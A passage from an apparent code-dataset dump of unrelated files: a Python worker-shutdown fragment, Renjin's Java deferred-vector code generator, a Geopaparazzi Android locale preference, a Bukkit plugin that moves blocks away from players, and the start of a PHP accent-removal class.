while not (urlQueue.empty() and userIdsQueue.empty() and userInfosQueue.empty()):
pass
print ("end threads")
urlQueue.put(None)
userIdsQueue.put(None)
userInfosQueue.put(None)
# end of workers
for i in userIdWorker:
i.join()
for i in userInfoWorker:
i.join()
time.sleep(5)
sys.exit(0)
if __name__ == '__main__':
main(sys.argv[1:])
| Java |
package org.renjin.invoke.codegen;
import com.google.common.collect.Lists;
import com.sun.codemodel.*;
import org.apache.commons.math.complex.Complex;
import org.renjin.invoke.annotations.PreserveAttributeStyle;
import org.renjin.invoke.model.JvmMethod;
import org.renjin.invoke.model.PrimitiveModel;
import org.renjin.primitives.vector.DeferredComputation;
import org.renjin.sexp.*;
import java.util.List;
import static com.sun.codemodel.JExpr.lit;
public class DeferredVectorBuilder {
public static final int LENGTH_THRESHOLD = 100;
private final JExpression contextArgument;
private JCodeModel codeModel;
private PrimitiveModel primitive;
private JvmMethod overload;
private int arity;
private JDefinedClass vectorClass;
private VectorType type;
private List<DeferredArgument> arguments = Lists.newArrayList();
private JFieldVar lengthField;
public DeferredVectorBuilder(JCodeModel codeModel, JExpression contextArgument, PrimitiveModel primitive, JvmMethod overload) {
this.codeModel = codeModel;
this.primitive = primitive;
this.overload = overload;
this.arity = overload.getPositionalFormals().size();
this.contextArgument = contextArgument;
if(overload.getReturnType().equals(double.class)) {
type = VectorType.DOUBLE;
} else if(overload.getReturnType().equals(boolean.class)) {
type = VectorType.LOGICAL;
} else if(overload.getReturnType().equals(Logical.class)) {
type = VectorType.LOGICAL;
} else if(overload.getReturnType().equals(int.class)) {
type = VectorType.INTEGER;
} else if(overload.getReturnType().equals(Complex.class)) {
type = VectorType.COMPLEX;
} else if(overload.getReturnType().equals(byte.class)) {
type = VectorType.RAW;
} else {
throw new UnsupportedOperationException(overload.getReturnType().toString());
}
}
public void buildClass() {
try {
vectorClass = codeModel._class( WrapperGenerator2.toFullJavaName(primitive.getName()) + "$deferred_" + typeSuffix() );
} catch (JClassAlreadyExistsException e) {
throw new RuntimeException(e);
}
vectorClass._extends(type.baseClass);
vectorClass._implements(DeferredComputation.class);
for(int i=0;i!=arity;++i) {
arguments.add(new DeferredArgument(overload.getPositionalFormals().get(i), i));
}
this.lengthField = vectorClass.field(JMod.PRIVATE, codeModel._ref(int.class), "length");
writeConstructor();
implementAccessor();
implementLength();
implementAttributeSetter();
implementGetOperands();
implementGetComputationName();
implementStaticApply();
implementIsConstantAccess();
implementGetComputationDepth();
if(overload.isPassNA() && overload.getReturnType().equals(boolean.class)) {
overrideIsNaWithConstantValue();
}
}
private void implementIsConstantAccess() {
JMethod method = vectorClass.method(JMod.PUBLIC, boolean.class, "isConstantAccessTime");
JExpression condition = null;
for(DeferredArgument arg : arguments) {
JExpression operandIsConstant = arg.valueField.invoke("isConstantAccessTime");
if(condition == null) {
condition = operandIsConstant;
} else {
condition = condition.cand(operandIsConstant);
}
}
method.body()._return(condition);
}
private void implementGetComputationDepth() {
JMethod method = vectorClass.method(JMod.PUBLIC, int.class, "getComputationDepth");
JVar depth = method.body().decl(codeModel._ref(int.class), "depth",
arguments.get(0).valueField.invoke("getComputationDepth"));
for(int i=1;i<arguments.size();++i) {
method.body().assign(depth, codeModel.ref(Math.class).staticInvoke("max")
.arg(depth)
.arg(arguments.get(1).valueField.invoke("getComputationDepth")));
}
method.body()._return(depth.plus(JExpr.lit(1)));
}
private void implementGetOperands() {
JMethod method = vectorClass.method(JMod.PUBLIC, Vector[].class, "getOperands");
JArray array = JExpr.newArray(codeModel.ref(Vector.class));
for(DeferredArgument arg : arguments) {
array.add(arg.valueField);
}
method.body()._return(array);
}
private void implementGetComputationName() {
JMethod method = vectorClass.method(JMod.PUBLIC, String.class, "getComputationName");
method.body()._return(lit(primitive.getName()));
}
private String typeSuffix() {
StringBuilder suffix = new StringBuilder();
for(JvmMethod.Argument formal : overload.getPositionalFormals()) {
suffix.append(abbrev(formal.getClazz()));
}
return suffix.toString();
}
private String abbrev(Class clazz) {
if(clazz.equals(double.class)) {
return "d";
} else if(clazz.equals(boolean.class)) {
return "b";
} else if(clazz.equals(String.class)) {
return "s";
} else if(clazz.equals(int.class)) {
return "i";
} else if(clazz.equals(Complex.class)) {
return "z";
} else if(clazz.equals(byte.class)) {
return "r";
} else {
throw new UnsupportedOperationException(clazz.toString());
}
}
public void maybeReturn(JBlock parent, JExpression cycleCount, List<JExpression> arguments) {
JExpression condition = cycleCount.gt(lit(LENGTH_THRESHOLD));
for(JExpression arg : arguments) {
condition = condition.cor(arg._instanceof(codeModel.ref(DeferredComputation.class)));
}
JBlock ifBig = parent._if(condition)._then();
JExpression attributes = copyAttributes(arguments);
JInvocation newInvocation = JExpr._new(vectorClass);
for(JExpression arg : arguments) {
newInvocation.arg(arg);
}
newInvocation.arg(attributes);
ifBig._return(contextArgument.invoke("simplify").arg(newInvocation));
}
private JExpression copyAttributes(List<JExpression> arguments) {
if(overload.getPreserveAttributesStyle() == PreserveAttributeStyle.NONE) {
return codeModel.ref(AttributeMap.class).staticRef("EMPTY");
} else {
if(arity == 1) {
return copyAttributes(arguments.get(0));
} else if(arity == 2) {
return copyAttributes(arguments.get(0), arguments.get(1));
} else {
throw new UnsupportedOperationException("arity = " + arity);
}
}
}
private JExpression copyAttributes(JExpression arg0, JExpression arg1) {
String combineMethod;
switch(overload.getPreserveAttributesStyle()) {
case ALL:
combineMethod = "combineAttributes";
break;
case SPECIAL:
combineMethod = "combineStructuralAttributes";
break;
default:
throw new UnsupportedOperationException();
}
return codeModel.ref(AttributeMap.class).staticInvoke(combineMethod)
.arg(arg0)
.arg(arg1);
}
private JExpression copyAttributes(JExpression arg) {
if(overload.getPreserveAttributesStyle() == PreserveAttributeStyle.ALL) {
return arg.invoke("getAttributes");
} else if(overload.getPreserveAttributesStyle() == PreserveAttributeStyle.SPECIAL) {
return arg.invoke("getAttributes").invoke("copyStructural");
} else {
throw new UnsupportedOperationException();
}
}
private void writeConstructor() {
// public DoubleBinaryFnVector(Vector arg0, Vector arg1, AttributeMap attributes) {
// super(attributes);
// this.x = x;
// this.y = y;
// this.fn = fn;
// this.xLength = x.length();
// this.yLength = y.length();
// this.length = Math.max(xLength, yLength);
// }
JMethod ctor = vectorClass.constructor(JMod.PUBLIC);
List<JVar> argParams = Lists.newArrayList();
for(int i=0;i!=arity;++i) {
argParams.add(ctor.param(Vector.class, "arg" + i));
}
ctor.param(AttributeMap.class, "attributes");
ctor.body().directStatement("super(attributes);");
ctor.body().assign(lengthField, lit(0));
for(int i=0;i!=arity;++i) {
ctor.body().assign(JExpr._this().ref(arg(i).valueField), argParams.get(i));
ctor.body().assign(arg(i).lengthField, arg(i).valueField.invoke("length"));
}
if(arity == 1) {
ctor.body().assign(lengthField, arg(0).lengthField);
} else if(arity == 2) {
ctor.body().assign(lengthField, codeModel.ref(Math.class).staticInvoke("max")
.arg(arg(0).lengthField)
.arg(arg(1).lengthField));
}
}
private DeferredArgument arg(int i) {
return arguments.get(i);
}
private void implementLength() {
JMethod method = vectorClass.method(JMod.PUBLIC, int.class, "length");
method.body()._return(lengthField);
}
private void implementStaticApply() {
JMethod method = vectorClass.method(JMod.PUBLIC | JMod.STATIC, type.accessorType, "compute");
List<JExpression> params = Lists.newArrayList();
for(DeferredArgument argument : arguments) {
JVar param = method.param(argument.accessorType(), "p" + argument.index);
params.add(argument.convert(param));
}
returnValue(method.body(), buildInvocation(params));
}
private void implementAccessor() {
JMethod method = vectorClass.method(JMod.PUBLIC, type.accessorType, type.accessorName);
JVar index = method.param(int.class, "index");
// extract the arguments to the function from the given vectors
List<JExpression> argValues = Lists.newArrayList();
for(DeferredArgument arg : arguments) {
JExpression elementIndex;
if(arity == 1) {
elementIndex = index;
} else {
// avoid using modulus if we can
JVar indexVar = method.body().decl(codeModel._ref(int.class), "i" + arg.index);
JConditional ifLessThan = method.body()._if(index.lt(arg.lengthField));
ifLessThan._then().assign(indexVar, index);
ifLessThan._else().assign(indexVar, index.mod(arg.lengthField));
elementIndex = indexVar;
}
JVar argValue = method.body().decl(arg.accessorType(), "arg" + arg.index + "_i", arg.invokeAccessor(elementIndex));
argValues.add(arg.convert(argValue));
if(!overload.isPassNA() && arg.type != ArgumentType.BYTE) {
method.body()._if(arg.isNA(argValue))._then()._return(na());
}
}
// invoke the underlying function
returnValue(method.body(), buildInvocation(argValues));
}
private JInvocation buildInvocation(List<JExpression> argValues) {
JInvocation invocation = codeModel
.ref(overload.getDeclaringClass())
.staticInvoke(overload.getName());
for(JExpression argValue : argValues) {
invocation.arg(argValue);
}
return invocation;
}
private JExpression na() {
switch (type) {
case DOUBLE:
return codeModel.ref(DoubleVector.class).staticRef("NA");
case LOGICAL:
case INTEGER:
return codeModel.ref(IntVector.class).staticRef("NA");
case COMPLEX:
return codeModel.ref(ComplexArrayVector.class).staticRef("NA");
}
throw new UnsupportedOperationException(type.toString());
}
private void returnValue(JBlock parent, JExpression retVal) {
if(overload.getReturnType().equals(boolean.class)) {
JConditional ifTrue = parent._if(retVal);
ifTrue._then()._return(lit(1));
ifTrue._else()._return(lit(0));
} else if(overload.getReturnType().equals(Logical.class)) {
parent._return(retVal.invoke("getInternalValue"));
} else {
parent._return(retVal);
}
}
public void overrideIsNaWithConstantValue() {
JMethod method = vectorClass.method(JMod.PUBLIC, boolean.class, "isElementNA");
method.param(int.class, "index");
method.body()._return(JExpr.FALSE);
}
private void implementAttributeSetter() {
// @Override
// protected SEXP cloneWithNewAttributes(AttributeMap attributes) {
// return new DoubleBinaryFnVector(fn, x, y, attributes);
// }
JMethod method = vectorClass.method(JMod.PUBLIC, SEXP.class, "cloneWithNewAttributes");
JVar attributes = method.param(AttributeMap.class, "attributes");
JInvocation newInvocation = JExpr._new(vectorClass);
for(DeferredArgument arg : arguments) {
newInvocation.arg(arg.valueField);
}
newInvocation.arg(attributes);
method.body()._return(newInvocation);
}
private class DeferredArgument {
private JvmMethod.Argument model;
private int index;
private JFieldVar valueField;
private JFieldVar lengthField;
private ArgumentType type;
private DeferredArgument(JvmMethod.Argument model, int index) {
this.model = model;
this.index = index;
this.valueField = vectorClass.field(JMod.PRIVATE | JMod.FINAL, Vector.class, "arg" + index);
this.lengthField = vectorClass.field(JMod.PRIVATE | JMod.FINAL, int.class, "argLength" + index);
if(model.getClazz().equals(double.class)) {
this.type = ArgumentType.DOUBLE;
} else if(model.getClazz().equals(boolean.class)) {
this.type = ArgumentType.BOOLEAN;
} else if(model.getClazz().equals(int.class)) {
this.type = ArgumentType.INTEGER;
} else if(model.getClazz().equals(String.class)) {
this.type = ArgumentType.STRING;
} else if(model.getClazz().equals(Complex.class)) {
this.type = ArgumentType.COMPLEX;
} else if(model.getClazz().equals(byte.class)) {
this.type = ArgumentType.BYTE;
} else {
throw new UnsupportedOperationException(model.getClazz().toString());
}
}
public JType type() {
return codeModel._ref(model.getClazz());
}
public JExpression invokeAccessor(JExpression elementIndex) {
return valueField.invoke(type.accessorName).arg(elementIndex);
}
public JType accessorType() {
return codeModel._ref(type.accessorType());
}
public JExpression isNA(JExpression expr) {
return type.isNa(codeModel, expr);
}
public JExpression convert(JExpression argValue) {
return type.convertToArg(argValue);
}
}
private enum VectorType {
DOUBLE(DoubleVector.class, "getElementAsDouble", double.class),
LOGICAL(LogicalVector.class, "getElementAsRawLogical", int.class),
INTEGER(IntVector.class, "getElementAsInt", int.class),
COMPLEX(ComplexVector.class, "getElementAsComplex", Complex.class),
RAW(RawVector.class, "getElementAsByte", byte.class);
private Class baseClass;
private String accessorName;
private Class accessorType;
private VectorType(Class baseClass, String accessorName, Class accessorType) {
this.baseClass = baseClass;
this.accessorName = accessorName;
this.accessorType = accessorType;
}
}
private enum ArgumentType {
DOUBLE(double.class, "getElementAsDouble") {
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return codeModel.ref(DoubleVector.class).staticInvoke("isNA").arg(expr);
}
},
INTEGER(int.class, "getElementAsInt") {
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return codeModel.ref(IntVector.class).staticInvoke("isNA").arg(expr);
}
},
BOOLEAN(boolean.class, "getElementAsRawLogical") {
@Override
public JExpression convertToArg(JExpression expr) {
return expr.ne(lit(0));
}
@Override
public Class accessorType() {
return int.class;
}
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return codeModel.ref(IntVector.class).staticInvoke("isNA").arg(expr);
}
},
STRING(String.class, "getElementAsString") {
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return codeModel.ref(StringVector.class).staticInvoke("isNA").arg(expr);
}
},
COMPLEX(Complex.class, "getElementAsComplex" ) {
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return codeModel.ref(ComplexVector.class).staticInvoke("isNA").arg(expr);
}
}, BYTE(byte.class, "getElementAsByte" ) {
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return JExpr.lit(false);
}
};
private Class clazz;
private String accessorName;
private ArgumentType(Class clazz, String accessorName) {
this.clazz = clazz;
this.accessorName = accessorName;
}
public JExpression convertToArg(JExpression expr) {
return expr;
}
public Class accessorType() {
return clazz;
}
public abstract JExpression isNa(JCodeModel codeModel, JExpression expr);
}
}
| Java |
/*
* Geopaparazzi - Digital field mapping on Android based devices
* Copyright (C) 2016 HydroloGIS (www.hydrologis.com)
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package eu.geopaparazzi.core.preferences;
import android.content.Context;
import android.content.res.TypedArray;
import android.preference.DialogPreference;
import android.util.AttributeSet;
import android.view.View;
import android.view.ViewGroup.LayoutParams;
import android.widget.ArrayAdapter;
import android.widget.LinearLayout;
import android.widget.Spinner;
import eu.geopaparazzi.core.R;
import eu.geopaparazzi.library.locale.LocaleUtils;
/**
* A custom preference to force a particular locale, even if the OS is on another.
*
* @author Andrea Antonello (www.hydrologis.com)
*/
public class ForceLocalePreference extends DialogPreference {
public static final String PREFS_KEY_FORCELOCALE = "PREFS_KEY_FORCELOCALE";//NON-NLS
private Context context;
private Spinner localesSpinner;
/**
* @param ctxt the context to use.
* @param attrs attributes.
*/
public ForceLocalePreference(Context ctxt, AttributeSet attrs) {
super(ctxt, attrs);
this.context = ctxt;
setPositiveButtonText(ctxt.getString(android.R.string.ok));
setNegativeButtonText(ctxt.getString(android.R.string.cancel));
}
@Override
protected View onCreateDialogView() {
LinearLayout mainLayout = new LinearLayout(context);
LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(LayoutParams.MATCH_PARENT,
LayoutParams.MATCH_PARENT);
mainLayout.setLayoutParams(layoutParams);
mainLayout.setOrientation(LinearLayout.VERTICAL);
mainLayout.setPadding(25, 25, 25, 25);
localesSpinner = new Spinner(context);
localesSpinner.setLayoutParams(new LinearLayout.LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
localesSpinner.setPadding(15, 5, 15, 5);
final String[] localesArray = context.getResources().getStringArray(R.array.locales);
ArrayAdapter<String> adapter = new ArrayAdapter<>(context, android.R.layout.simple_spinner_item, localesArray);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
localesSpinner.setAdapter(adapter);
final String currentLocale = LocaleUtils.getCurrentLocale(context);
if (currentLocale != null) {
for (int i = 0; i < localesArray.length; i++) {
if (localesArray[i].equals(currentLocale.trim())) {
localesSpinner.setSelection(i);
break;
}
}
}
mainLayout.addView(localesSpinner);
return mainLayout;
}
@Override
protected void onBindDialogView(View v) {
super.onBindDialogView(v);
}
@Override
protected void onDialogClosed(boolean positiveResult) {
super.onDialogClosed(positiveResult);
if (positiveResult) {
String selectedLocale = localesSpinner.getSelectedItem().toString();
LocaleUtils.changeLang(context, selectedLocale);
}
}
@Override
protected Object onGetDefaultValue(TypedArray a, int index) {
return (a.getString(index));
}
@Override
protected void onSetInitialValue(boolean restoreValue, Object defaultValue) {
}
}
| Java |
/*
* Author: patiphat mana-u-krid (dew)
* E-Mail: dewtx29@gmail.com
* facebook: https://www.facebook.com/dewddminecraft
*/
package dewddgetaway;
import java.util.Random;
import java.util.Stack;
import org.bukkit.Bukkit;
import org.bukkit.block.Block;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.plugin.java.JavaPlugin;
public class dewgetaway2 implements Listener {
class chatx implements Runnable {
Player p = null;
String message = "";
public void run() {
String m[] = message.split("\\s+");
if (m[0].equalsIgnoreCase("/dewgetawayrun")) {
staticarea.dslb.loaddewsetlistblockfile();
isruntick = !isruntick;
dprint.r.printAll("isruntick = " + Boolean.toString(isruntick));
getawayticktock time = new getawayticktock();
time.setName("getaway");
time.start();
return;
}
if (m[0].equalsIgnoreCase("/dewgetaway")) {
if (m.length == 1) { // it's mean toggle your self
if (p.hasPermission(pgetaway) == false) {
p.sendMessage("you don't have permission " + pgetaway);
return;
}
int getid = getfreeselect(p.getName());
nn.isrun[getid] = !nn.isrun[getid];
p.sendMessage(nn.playername[getid] + " getaway mode = "
+ Boolean.toString(nn.isrun[getid]));
}
else if (m.length == 2) { // it's mean have player name
if (p.hasPermission(pgetaway) == false) {
p.sendMessage("you don't have permission " + pgetaway);
return;
}
if (m[1].equalsIgnoreCase(p.getName()) == false) {
if (p.hasPermission(pgetawayother) == false) {
p.sendMessage("you don't have permission "
+ pgetaway);
return;
}
}
if (m[1].equalsIgnoreCase("@a") == true) {
// it's mean toggle everyone
for (Player p2 : Bukkit.getOnlinePlayers()) {
int getid = getfreeselect(p2.getName());
nn.isrun[getid] = !nn.isrun[getid];
p.sendMessage(nn.playername[getid]
+ " getaway mode = "
+ Boolean.toString(nn.isrun[getid]));
}
}
else {
// find that player
for (Player p2 : Bukkit.getOnlinePlayers()) {
if (p2.getName().toLowerCase()
.indexOf(m[1].toLowerCase()) > -1) {
int getid = getfreeselect(p2.getName());
nn.isrun[getid] = !nn.isrun[getid];
p.sendMessage(nn.playername[getid]
+ " getaway mode = "
+ Boolean.toString(nn.isrun[getid]));
break;
}
}
return;
}
}
else if (m.length == 3) {
// it's mean player 0|1
if (p.hasPermission(pgetaway) == false) {
p.sendMessage("you don't have permission " + pgetaway);
return;
}
if (m[1].equalsIgnoreCase(p.getName()) == false) {
if (p.hasPermission(pgetawayother) == false) {
p.sendMessage("you don't have permission "
+ pgetaway);
return;
}
}
if (m[2].equalsIgnoreCase("0") == false
&& m[2].equalsIgnoreCase("1") == false) {
p.sendMessage("argument 3 must be 0 or 1");
return;
}
boolean togglemode = false;
if (m[2].equalsIgnoreCase("1") == true) togglemode = true;
if (m[1].equalsIgnoreCase("@a") == true) {
// it's mean toggle everyone
for (Player p2 : Bukkit.getOnlinePlayers()) {
int getid = getfreeselect(p2.getName());
nn.isrun[getid] = togglemode;
p.sendMessage(nn.playername[getid]
+ " getaway mode = "
+ Boolean.toString(nn.isrun[getid]));
}
return;
}
else {
// find that player
for (Player p2 : Bukkit.getOnlinePlayers()) {
if (p2.getName().toLowerCase()
.indexOf(m[1].toLowerCase()) > -1) {
int getid = getfreeselect(p2.getName());
nn.isrun[getid] = togglemode;
p.sendMessage(nn.playername[getid]
+ " getaway mode = "
+ Boolean.toString(nn.isrun[getid]));
break;
}
}
return;
}
}
}
}
}
class ddata {
public String playername[];
public boolean isrun[];
}
class getawaytick2 implements Runnable {
public void run() {
long starttime = System.currentTimeMillis();
long endtime = 0;
// loop everyone
// printAll("tick");
for (int i = 0; i < ddatamax; i++) {
if (nn.isrun[i] == true) {
// printAll("found nn = true at " + i);
if (nn.playername[i].equalsIgnoreCase("") == false) {
// printAll(" nn name empty == false at " + i);
// search that player
Player p2 = null;
for (Player p3 : Bukkit.getOnlinePlayers()) {
if (p3.getName().equalsIgnoreCase(nn.playername[i])) {
p2 = p3;
break;
}
}
if (p2 == null) {
// printAll("p2 = null " + i);
continue;
}
// printAll("foundn p2");
double td = 0;
Block b = null;
Block b2 = null;
for (int x = -ra; x <= ra; x++) {
for (int y = -ra; y <= ra; y++) {
for (int z = -ra; z <= ra; z++) {
endtime = System.currentTimeMillis();
if (endtime - starttime > 250) return;
if (dewddtps.tps.getTPS() < 18) {
return;
}
b = p2.getLocation().getBlock()
.getRelative(x, y, z);
// b2 is looking
td = distance3d(b.getX(), b.getY(),
b.getZ(),
p2.getLocation().getBlockX(), p2
.getLocation().getBlockY(),
p2.getLocation().getBlockZ());
// printAll("radi td " + td);
if (td > ra) {
continue;
}
// check this block
// b =
// p2.getLocation().getBlock().getRelative(x,y,z);
boolean bll = blockdewset(b.getTypeId());
if (bll == false) {
continue;
}
// check sign
for (int nx = -1; nx <= 1; nx++) {
for (int ny = -1; ny <= 1; ny++) {
for (int nz = -1; nz <= 1; nz++) {
if (b.getRelative(nx, ny, nz)
.getTypeId() == 0) {
continue;
}
if (b.getRelative(nx, ny, nz)
.getTypeId() == 63
|| b.getRelative(nx,
ny, nz)
.getTypeId() == 68
|| b.getRelative(nx,
ny, nz)
.getType()
.isBlock() == false
|| blockdewset(b
.getRelative(
nx, ny,
nz)
.getTypeId()) == false) {
bll = false;
if (bll == false) {
break;
}
}
if (bll == false) {
break;
}
}
}
if (bll == false) {
break;
}
}
if (bll == false) {
continue;
}
// printAll("adding " + b.getX() + "," +
// b.getY() + "," + b.getZ());
// move it
b2 = getran(b, 1);
saveb xx = new saveb();
xx.b1id = b.getTypeId();
xx.b1data = b.getData();
xx.b1x = b.getX();
xx.b1y = b.getY();
xx.b1z = b.getZ();
xx.b2id = b2.getTypeId();
xx.b2data = b2.getData();
xx.b2x = b2.getX();
xx.b2y = b2.getY();
xx.b2z = b2.getZ();
xx.w = b.getWorld().getName();
bd.push(xx);
// added queue
// switch that block
b.setTypeId(xx.b2id);
b.setData(xx.b2data);
b2.setTypeId(xx.b1id);
b2.setData(xx.b1data);
}
}
}
// if found player
// search neary block at player it's sholud be move
// or not
// if yes add to queue
// and loop again to should it's roll back or not
// We should't use quere
// We should use array
}
}
}
// after add quere
dprint.r.printC("bd size = " + bd.size());
for (int gx = 0; gx <= 300; gx++) {
// this is rollback block
if (bd.size() == 0) {
bd.trimToSize();
return;
}
endtime = System.currentTimeMillis();
if (endtime - starttime > 250) return;
if (dewddtps.tps.getTPS() < 18) {
return;
}
// printC("before peek " + bd.size());
saveb ttt = bd.peek();
// printC("after peek " + bd.size());
Block b3 = Bukkit.getWorld(ttt.w).getBlockAt(ttt.b1x, ttt.b1y,
ttt.b1z);
Block b4 = Bukkit.getWorld(ttt.w).getBlockAt(ttt.b2x, ttt.b2y,
ttt.b2z);
boolean isp = false;
isp = isplayernearblock(b3, ra) || isplayernearblock(b4, ra);
if (isp == true) {
return;
}
ttt = bd.pop();
b3 = Bukkit.getWorld(ttt.w).getBlockAt(ttt.b1x, ttt.b1y,
ttt.b1z);
b4 = Bukkit.getWorld(ttt.w).getBlockAt(ttt.b2x, ttt.b2y,
ttt.b2z);
b4.setTypeId(ttt.b2id);
b4.setData(ttt.b2data);
b3.setTypeId(ttt.b1id);
b3.setData(ttt.b1data);
}
// if not player near rollback
// check
// is't there have player near that block ?
}
}
class getawayticktock extends Thread {
public void run() {
while (isruntick == true) {
try {
Thread.sleep(1000);
}
catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
getawaytick2 eee = new getawaytick2();
Bukkit.getScheduler().scheduleSyncDelayedTask(ac, eee);
}
}
}
class saveb {
public int b1id = 0;
public byte b1data = 0;
public int b1x = 0;
public int b1y = 0;
public int b1z = 0;
public int b2id = 0;
public byte b2data = 0;
public int b2x = 0;
public int b2y = 0;
public int b2z = 0;
public String w = "";
}
boolean isruntick = false;
JavaPlugin ac = null;
int ra = 5;
int ddatamax = 29;
ddata nn = new ddata();
String pgetaway = "dewdd.getaway.use";
String pgetawayother = "dewdd.getaway.use.other";
Stack<saveb> bd = new Stack<saveb>();
// Queue<saveb> bd= new LinkedList<saveb>();
Random rnd = new Random();
public dewgetaway2() {
nn.playername = new String[ddatamax];
nn.isrun = new boolean[ddatamax];
for (int i = 0; i < ddatamax; i++) {
nn.playername[i] = "";
nn.isrun[i] = false;
}
}
public boolean blockdewset(int blockid) {
return staticarea.dslb.isdewset(blockid)
&& staticarea.dslb.isdewinventoryblock(blockid) == false
&& blockid != 0 && blockid != 8 && blockid != 9
&& blockid != 10 && blockid != 11;
}
public int distance2d(int x1, int z1, int x2, int z2) {
double t1 = Math.pow(x1 - x2, 2);
double t2 = Math.pow(z1 - z2, 2);
double t3 = Math.pow(t1 + t2, 0.5);
int t4 = (int) t3;
return t4;
}
public double distance3d(int x1, int y1, int z1, int x2, int y2, int z2) {
double t1 = Math.pow(x1 - x2, 2);
double t2 = Math.pow(z1 - z2, 2);
double t3 = Math.pow(y1 - y2, 2);
double t5 = Math.pow(t1 + t2 + t3, 0.5);
return t5;
}
@EventHandler
public void eventja(PlayerCommandPreprocessEvent event) {
chatx a = new chatx();
a.p = event.getPlayer();
a.message = event.getMessage();
Bukkit.getScheduler().scheduleSyncDelayedTask(ac, a);
}
public int getfreeselect(String sname) {
// clean exited player
boolean foundx = false;
for (int i = 0; i < ddatamax; i++) {
foundx = false;
for (Player pr : Bukkit.getOnlinePlayers()) {
if (nn.playername[i].equalsIgnoreCase(pr.getName())) {
foundx = true;
break;
}
}
if (foundx == false) {
nn.playername[i] = "";
nn.isrun[i] = false;
}
}
// clean
for (int i = 0; i < ddatamax; i++) {
if (nn.playername[i].equalsIgnoreCase(sname)) {
return i;
}
}
for (int i = 0; i < ddatamax; i++) {
if (nn.playername[i].equalsIgnoreCase("")) {
nn.playername[i] = sname;
return i;
}
}
return -1;
}
public Block getran(Block b, int ra) {
Block b2 = b;
int tx = 0;
int ty = 0;
int tz = 0;
int counttry = 0;
do {
counttry++;
tx = rnd.nextInt(ra * 2) - (ra * 1);
ty = rnd.nextInt(ra * 2) - (ra * 1);
tz = rnd.nextInt(ra * 2) - (ra * 1);
if (ty < 1) ty = 1;
if (ty > 254) ty = 254;
b2 = b.getRelative(tx, ty, tz);
if (counttry >= 100) {
counttry = 0;
ra = ra + 1;
}
}
while (b2.getLocation().distance(b.getLocation()) < ra || b2 == b
|| b2.getTypeId() != 0);
return b2;
}
public boolean isplayernearblock(Block bh, int ra) {
for (Player uu : bh.getWorld().getPlayers()) {
if (nn.isrun[getfreeselect(uu.getName())] == false) continue;
if (uu.getLocation().distance(bh.getLocation()) <= ra) {
return true;
}
}
return false;
}
} // class
| Java |
<?php
class removeAccents extends CommonServices{
private $accented;
private $unaccented;
public function __construct($string) {
$this->accented = $string;
$this->unaccented = $this->removeAccents($string);
}
public function get(){
return $this->unaccented;
}
/**
* Unaccent a string
*
* An example string like ÀØėÿᾜὨζὅБю will be translated to AOeyIOzoBY.
*
* @author http://www.evaisse.net/2008/php-translit-remove-accent-unaccent-21001
* @param $str input string
* @param $utf8 if null, function will detect input string encoding
* @return string input string without accent
*/
private function removeAccents($str, $utf8 = true) {
$str = (string) $str;
if (is_null($utf8)) {
if (!function_exists('mb_detect_encoding')) {
$utf8 = (strtolower(mb_detect_encoding($str)) == 'utf-8');
} else {
$length = strlen($str);
$utf8 = true;
for ($i = 0; $i < $length; $i++) {
$c = ord($str[$i]);
if ($c < 0x80) $n = 0; // 0bbbbbbb
elseif (($c & 0xE0) == 0xC0) $n = 1; // 110bbbbb
elseif (($c & 0xF0) == 0xE0) $n = 2; // 1110bbbb
elseif (($c & 0xF8) == 0xF0) $n = 3; // 11110bbb
elseif (($c & 0xFC) == 0xF8) $n = 4; // 111110bb
elseif (($c & 0xFE) == 0xFC) $n = 5; // 1111110b
else return false; // Does not match any model
for ($j = 0; $j < $n; $j++) { // n bytes matching 10bbbbbb follow ?
if ((++$i == $length) || ((ord($str[$i]) & 0xC0) != 0x80)) {
$utf8 = false;
break;
}
}
}
}
}
if (!$utf8) {
$str = utf8_encode($str);
}
$transliteration = array(
'IJ' => 'I', 'Ö' => 'O', 'Œ' => 'O', 'Ü' => 'U', 'ä' => 'a', 'æ' => 'a',
'ij' => 'i', 'ö' => 'o', 'œ' => 'o', 'ü' => 'u', 'ß' => 's', 'ſ' => 's',
'À' => 'A', 'Á' => 'A', 'Â' => 'A', 'Ã' => 'A', 'Ä' => 'A', 'Å' => 'A',
'Æ' => 'A', 'Ā' => 'A', 'Ą' => 'A', 'Ă' => 'A', 'Ç' => 'C', 'Ć' => 'C',
'Č' => 'C', 'Ĉ' => 'C', 'Ċ' => 'C', 'Ď' => 'D', 'Đ' => 'D', 'È' => 'E',
'É' => 'E', 'Ê' => 'E', 'Ë' => 'E', 'Ē' => 'E', 'Ę' => 'E', 'Ě' => 'E',
'Ĕ' => 'E', 'Ė' => 'E', 'Ĝ' => 'G', 'Ğ' => 'G', 'Ġ' => 'G', 'Ģ' => 'G',
'Ĥ' => 'H', 'Ħ' => 'H', 'Ì' => 'I', 'Í' => 'I', 'Î' => 'I', 'Ï' => 'I',
'Ī' => 'I', 'Ĩ' => 'I', 'Ĭ' => 'I', 'Į' => 'I', 'İ' => 'I', 'Ĵ' => 'J',
'Ķ' => 'K', 'Ľ' => 'K', 'Ĺ' => 'K', 'Ļ' => 'K', 'Ŀ' => 'K', 'Ł' => 'L',
'Ñ' => 'N', 'Ń' => 'N', 'Ň' => 'N', 'Ņ' => 'N', 'Ŋ' => 'N', 'Ò' => 'O',
